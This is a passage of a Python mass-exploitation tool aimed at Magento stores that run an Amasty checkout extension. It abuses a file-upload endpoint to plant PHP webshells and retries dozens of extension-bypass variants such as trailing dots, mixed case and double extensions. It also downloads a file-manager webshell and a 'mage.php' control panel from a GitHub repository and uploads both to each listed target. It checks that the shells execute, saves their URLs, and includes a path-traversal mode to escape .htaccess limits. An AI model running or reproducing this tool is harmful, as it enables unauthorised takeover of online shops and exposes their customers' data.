        '.php5.',
        
        # Double/Triple trailing dots
        '.php..',
        '.phar..',
        '.phtml..',
        '.phtml...',
        
        # Standard
        '.php',
        '.phar',
        '.phtml',
        '.php5',
        '.php4',
        '.pht',
        
        # PHTML case variations (comprehensive)
        '.PhTml',
        '.pHtml',
        '.PHTML',
        '.pHtMl',
        '.PHtml',
        '.phTml',
        '.phTmL',
        '.phtMl',
        '.PhTmL',
        '.pHTml',
        '.PHtMl',
        
        # PHTML with trailing dots
        '.PhTml.',
        '.PhTml..',
        '.pHtml.',
        '.pHtml..',
        '.PHTML.',
        '.PHTML..',
        '.pHtMl.',
        '.PHtml..',
        '.phTml...',
        
        # PHT variations
        '.phT',
        '.pHt',
        '.PHT',
        '.pht.',
        '.phT..',
        
        # Case variations
        '.pHp',
        '.phAr',
        '.PHP',
        
        # Double extensions
        '.jpg.php',
        '.txt.phar',
    ]
    
    ensure_output_dir()
    shells_file = os.path.join(OUTPUT_DIR, "ExtensionBypass_Shells.txt")
    
    for url in targets:
        safe_print(f"{C}[*]{RST} Testing {url} with {len(extensions)} extensions...")
        
        results = []
        
        with ThreadPoolExecutor(max_workers=EXT_WORKERS) as executor:
            futures = {executor.submit(test_extension, url, ext): ext for ext in extensions}
            
            for future in as_completed(futures):
                result = future.result()
                
                if result['success']:
                    safe_print(f"{G}[SUCCESS]{RST} {url} - Extension {result['extension']} worked!")
                    safe_print(f"{G}  Shell: {result['url']}{RST}")
                    results.append(result)
                    
                    with print_lock:
                        with open(shells_file, 'a') as f:
                            f.write(f"{result['url']}|{result['extension']}\n")
        
        if not results:
            safe_print(f"{R}[FAILED]{RST} {url} - No extensions worked\n")
        else:
            safe_print(f"{G}[+]{RST} {url} - {len(results)} extensions successful\n")
    
    safe_print(f"{G}[+]{RST} Extension bypass testing complete!")
    safe_print(f"{G}[+]{RST} Results: {shells_file}\n")

# ==================== FULL WEBSHELL ====================
def deploy_full_webshell(url, extension='.php.'):
    """Deploy Bob Marley full webshell + Mage Control Panel (like main.py)"""
    try:
        verbose_print(f"Downloading Bob Marley shell from GitHub...")
        shell_code = get_bob_shell_code()
        
        if "<?php" not in shell_code:
            verbose_print("Failed to get webshell code")
            return None
        
        verbose_print(f"Got webshell code ({len(shell_code)} bytes)")
        
        headers = get_bypass_headers()
        base_name = gen_random(6)
        filename = f"bob_{base_name}{extension}"
        
        for endpoint in get_amasty_endpoints():
            upload_data = {
                "fileContent": {
                    "base64_encoded_data": base64.b64encode(shell_code.encode()).decode(),
                    "fileName_with_extension": filename
                }
            }
            
            verbose_print(f"Uploading webshell as {filename} to {url}{endpoint}")
            
            r = requests.post(
                f"{url}{endpoint}",
                json=upload_data,
                headers=headers,
                timeout=RCE_TIMEOUT,
                verify=False
            )
            
            if r.status_code == 200:
                actual_path = None
                try:
                    resp_body = r.json()
                    verbose_print(f"Upload response body: {resp_body}")
                    if isinstance(resp_body, str):
                        actual_path = resp_body
                except:
                    verbose_print(f"Upload response body (not JSON): {r.text[:200]}")
                
                # Build shell URLs
                test_shell_urls = []
                
                if actual_path:
                    verbose_print(f"Using actual path: {actual_path}")
                    test_shell_urls.append(f"{url}/media/amasty_checkout{actual_path}")
                    test_shell_urls.append(f"{url}/pub/media/amasty_checkout{actual_path}")
                else:
                    char1 = filename[0]
                    char2 = filename[1]
                    test_shell_urls.append(f"{url}/media/amasty_checkout/{char1}/{char2}/{filename}")
                    test_shell_urls.append(f"{url}/pub/media/amasty_checkout/{char1}/{char2}/{filename}")
                
                for shell_url in test_shell_urls:
                    try:
                        verify = requests.get(shell_url, headers=get_bypass_headers(), timeout=5, verify=False)
                        
                        if verify.status_code == 200:
                            # Check if webshell is EXECUTING (not just downloadable)
                            if '<?php' in verify.text[:500]:
                                verbose_print("File downloads, NOT executing")
                                continue
                            
                            # Check if Bob Marley webshell is executing
                            if len(verify.text) > 500 or 'bob' in verify.text.lower():
                                verbose_print("Bob Marley webshell EXECUTING!")
                                
                                mage_shell_url = None
                                
                                # Deploy Mage.php (Magento Control Panel)
                                try:
                                    verbose_print("Deploying Magento Control Panel (mage.php)...")
                                    mage_url = "https://raw.githubusercontent.com/Bob-Marley-Backup/LAB-Uncomplete/refs/heads/main/mage.php"
                                    mage_r = requests.get(mage_url, timeout=10, verify=False)
                                    
                                    if mage_r.status_code == 200:
                                        mage_content = mage_r.text
                                        mage_filename = f"bob_{base_name}_mage{extension}"
                                        
                                        upload_data_mage = {
                                            "fileContent": {
                                                "base64_encoded_data": base64.b64encode(mage_content.encode()).decode(),
                                                "fileName_with_extension": mage_filename
                                            }
                                        }
                                        
                                        r_mage = requests.post(
                                            f"{url}{endpoint}",
                                            json=upload_data_mage,
                                            headers=headers,
                                            timeout=RCE_TIMEOUT,
                                            verify=False
                                        )
                                        
                                        if r_mage.status_code == 200:
                                            mage_shell_url = shell_url.replace(filename, mage_filename)
                                            verbose_print(f"Mage Control Panel: {mage_shell_url}")
                                        else:
                                            verbose_print("Mage.php upload failed")
                                    else:
                                        verbose_print("Failed to download mage.php")
                                except Exception as e:
                                    verbose_print(f"Error deploying mage.php: {str(e)[:50]}")
                                
                                return {
                                    'bob_url': shell_url,
                                    'mage_url': mage_shell_url
                                }
                    except:
                        continue
        
        return None
        
    except Exception as e:
        verbose_print(f"Error: {str(e)[:50]}")
        return None

def full_webshell_batch(targets):
    """Deploy full Bob Marley webshells - test multiple extensions (like main.py)"""
    safe_print(f"\n{M}[*]{RST} DEPLOYING BOB MARLEY FILE MANAGER")
    safe_print(f"{M}[*]{RST} Features: File Manager, Upload, Editor, Command Execution")
    safe_print(f"{M}[*]{RST} Also deploying Mage.php (Magento Control Panel)")
    safe_print(f"{M}[*]{RST} Testing extensions: .php. .phar. .phtml. .php.. +more\n")
    
    # Extension list (like main.py + comprehensive phtml variations)
    extensions = [
        # Priority: Trailing dots
        '.php.',
        '.phar.',
        '.phtml.',
        '.php5.',
        '.php4.',
        '.php3.',
        '.shtml.',
        
        # Double/Triple trailing dots
        '.php..',
        '.phar..',
        '.phtml..',
        '.phtml...',
        
        # Standard PHP extensions
        '.php',
        '.phar',
        '.php5',
        '.php4',
        '.php3',
        '.phtml',
        '.pht',
        '.shtml',
        
        # PHTML case variations (comprehensive)
        '.PhTml',
        '.pHtml',
        '.PHTML',
        '.pHtMl',
        '.PHtml',
        '.phTml',
        '.phTmL',
        '.phtMl',
        '.PhTmL',
        '.pHTml',
        '.PHtMl',
        
        # PHTML with trailing dots
        '.PhTml.',
        '.PhTml..',
        '.pHtml.',
        '.pHtml..',
        '.PHTML.',
        '.PHTML..',
        '.pHtMl.',
        '.PHtml..',
        '.phTml...',
        
        # PHT variations
        '.phT',
        '.pHt',
        '.PHT',
        '.pht.',
        '.phT..',
        
        # Case sensitivity bypass
        '.pHp',
        '.phAr',
        '.PHP',
        
        # Double extensions
        '.jpg.php',
        '.png.php',
        '.txt.phar',
        '.pdf.phar',
        
        # Alternative extensions
        '.inc',
        '.inc.',
    ]
    
    ensure_output_dir()
    bob_file = os.path.join(OUTPUT_DIR, "Bob_Shells.txt")
    mage_file = os.path.join(OUTPUT_DIR, "Mage_Shells.txt")
    
    successful = []
    
    for idx, url in enumerate(targets, 1):
        safe_print(f"\n{C}[{idx}/{len(targets)}]{RST} Deploying to {url}")
        
        # Try each extension until one works
        for ext in extensions:
            safe_print(f"{Y}[TRY]{RST} Testing extension: {ext}")
            result = deploy_full_webshell(url, ext)
            
            if result:
                safe_print(f"{G}[SUCCESS]{RST} Webshell EXECUTING!")
                safe_print(f"{G}  Bob Shell: {result['bob_url']}{RST}")
                
                successful.append({
                    'url': result['bob_url'],
                    'mage_url': result.get('mage_url'),
                    'extension': ext
                })
                
                # Save Bob shell URL
                with print_lock:
                    with open(bob_file, 'a') as f:
                        f.write(f"{result['bob_url']}\n")
                
                # Save Mage shell URL if deployed
                if result.get('mage_url'):
                    safe_print(f"{G}  Mage Shell: {result['mage_url']}{RST}")
                    with print_lock:
                        with open(mage_file, 'a') as f:
                            f.write(f"{result['mage_url']}\n")
                
                break  # Found working extension, move to next target
        else:
            safe_print(f"{R}[FAILED]{RST} All extensions failed for {url}")
    
    safe_print(f"\n{G}[+]{RST} Webshell deployment complete!")
    safe_print(f"{G}[+]{RST} Successful: {len(successful)}/{len(targets)}")
    safe_print(f"{G}[+]{RST} Bob shells saved: {bob_file}")
    safe_print(f"{G}[+]{RST} Mage shells saved: {mage_file}\n")

# ==================== CUSTOM EXTENSIONS ====================
def custom_extension_batch(targets, extensions):
    """Test custom user-provided extensions"""
    safe_print(f"\n{Y}[*]{RST} CUSTOM EXTENSION TESTING")
    safe_print(f"{Y}[*]{RST} Extensions: {', '.join(extensions)}")
    safe_print(f"{Y}[*]{RST} Testing {len(targets)} targets...\n")
    
    ensure_output_dir()
    shells_file = os.path.join(OUTPUT_DIR, "Custom_Shells.txt")
    
    for url in targets:
        safe_print(f"{C}[*]{RST} Testing {url}...")
        
        results = []
        
        with ThreadPoolExecutor(max_workers=EXT_WORKERS) as executor:
            futures = {executor.submit(test_extension, url, ext): ext for ext in extensions}
            
            for future in as_completed(futures):
                result = future.result()
                
                if result['success']:
                    safe_print(f"{G}[SUCCESS]{RST} Extension {result['extension']} worked!")
                    safe_print(f"{G}  Shell: {result['url']}{RST}")
                    results.append(result)
                    
                    with print_lock:
                        with open(shells_file, 'a') as f:
                            f.write(f"{result['url']}\n")
        
        if not results:
            safe_print(f"{R}[FAILED]{RST} {url} - No custom extensions worked\n")
        else:
            safe_print(f"{G}[+]{RST} {url} - {len(results)} extensions successful\n")
    
    safe_print(f"{G}[+]{RST} Custom extension testing complete!")
    safe_print(f"{G}[+]{RST} Results: {shells_file}\n")

# ==================== MENU ====================
def show_menu():
    """Display main menu"""
    print(BANNER)
    print(f"{C}{'='*70}{RST}")
    print(f"{Y}[!]{RST} RECOMMENDATION: Run option 1 first to identify vulnerable targets")
    print(f"{Y}[!]{RST} Enable verbose mode (y) to see detailed error messages")
    print(f"{C}{'='*70}{RST}\n")
    print(f"{G}[1]{RST} Scan - Detect vulnerable Amasty installations")
    print(f"{G}[2]{RST} PoC Upload - Harmless text file (configurable marker)")
    print(f"{G}[3]{RST} Standard RCE - Multiple extensions (RECOMMENDED)")
    print(f"{M}[4]{RST} Full Webshell - Bob Marley File Manager + Mage.php")
    print(f"{Y}[5]{RST} Custom Extensions - Test your own extensions")
    print(f"{M}[6]{RST} Path Traversal - Escape to /pub (BYPASS .htaccess)")
    print(f"{R}[0]{RST} Exit\n")

def main():
    """Main function"""
    global THREADS, EXT_WORKERS, VERBOSE
    
    while True:
        show_menu()
        
        choice = input(f"{C}[?]{RST} Select option: ").strip()
        
        if choice == '0':
            safe_print(f"\n{Y}[*]{RST} Exiting...\n")
            break
        
        if choice not in ['1', '2', '3', '4', '5', '6']:
            safe_print(f"{R}[!]{RST} Invalid option\n")
            continue
        
        # Get target file
        target_file = input(f"{C}[?]{RST} Target list file path: ").strip()
        
        if not os.path.exists(target_file):
            safe_print(f"{R}[!]{RST} File not found: {target_file}\n")
            continue
        
        # Get threads
        thread_input = input(f"{C}[?]{RST} Threads (default {THREADS}): ").strip()
        if thread_input:
            try:
                THREADS = int(thread_input)
            except:
                safe_print(f"{R}[!]{RST} Invalid thread count, using {THREADS}\n")
        
        # Ask for verbose mode
        verbose_input = input(f"{C}[?]{RST} Verbose mode? (y/N): ").strip().lower()
        VERBOSE = (verbose_input == 'y')
        
        # Read targets
        targets = read_targets(target_file)
        if not targets:
            safe_print(f"{R}[!]{RST} No valid targets found\n")
            continue
        
        safe_print(f"{G}[+]{RST} Loaded {len(targets)} targets\n")
        
        # Execute based on choice
        if choice == '1':
            scan_targets(targets)
        
        elif choice == '2':
            marker = input(f"{C}[?]{RST} Marker text (default: Bob Marley is here): ").strip()
            if not marker:
                marker = "Bob Marley is here"
            poc_batch(targets, marker)
        
        elif choice == '3':
            safe_print(f"{G}[!]{RST} STANDARD RCE - Testing multiple extensions")
            worker_input = input(f"{C}[?]{RST} Parallel workers (default {EXT_WORKERS}): ").strip()
            if worker_input:
                try:
                    EXT_WORKERS = int(worker_input)
                except:
                    pass
            standard_rce_multi_extensions(targets)
        
        elif choice == '4':
            safe_print(f"{M}[!]{RST} Deploying Bob Marley File Manager webshell + Mage.php")
            confirm = input(f"{C}[?]{RST} Continue? (y/N): ").strip().lower()
            if confirm == 'y':
                full_webshell_batch(targets)
            else:
                safe_print(f"{Y}[*]{RST} Cancelled\n")
        
        elif choice == '5':
            ext_input = input(f"{C}[?]{RST} Extensions (comma separated, e.g. .php. .phar. .phtml): ").strip()
            
            if not ext_input:
                safe_print(f"{R}[!]{RST} No extensions provided\n")
                continue
            
            extensions = [e.strip() for e in ext_input.split(',') if e.strip()]
            extensions = [ext if ext.startswith('.') else f'.{ext}' for ext in extensions]
            
            worker_input = input(f"{C}[?]{RST} Parallel workers (default {EXT_WORKERS}): ").strip()
            if worker_input:
                try:
                    EXT_WORKERS = int(worker_input)
                except:
                    pass
            
            custom_extension_batch(targets, extensions)
        
        elif choice == '6':
            safe_print(f"{M}[!]{RST} PATH TRAVERSAL RCE - Will escape to /pub directory")
            safe_print(f"{M}[!]{RST} This bypasses .htaccess restrictions in pub/media")
            confirm = input(f"{C}[?]{RST} Continue? (y/N): ").strip().lower()
            if confirm == 'y':
                path_traversal_batch(targets)
            else:
                safe_print(f"{Y}[*]{RST} Cancelled\n")

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        safe_print(f"\n{R}[!]{RST} Interrupted by user\n")
        sys.exit(0)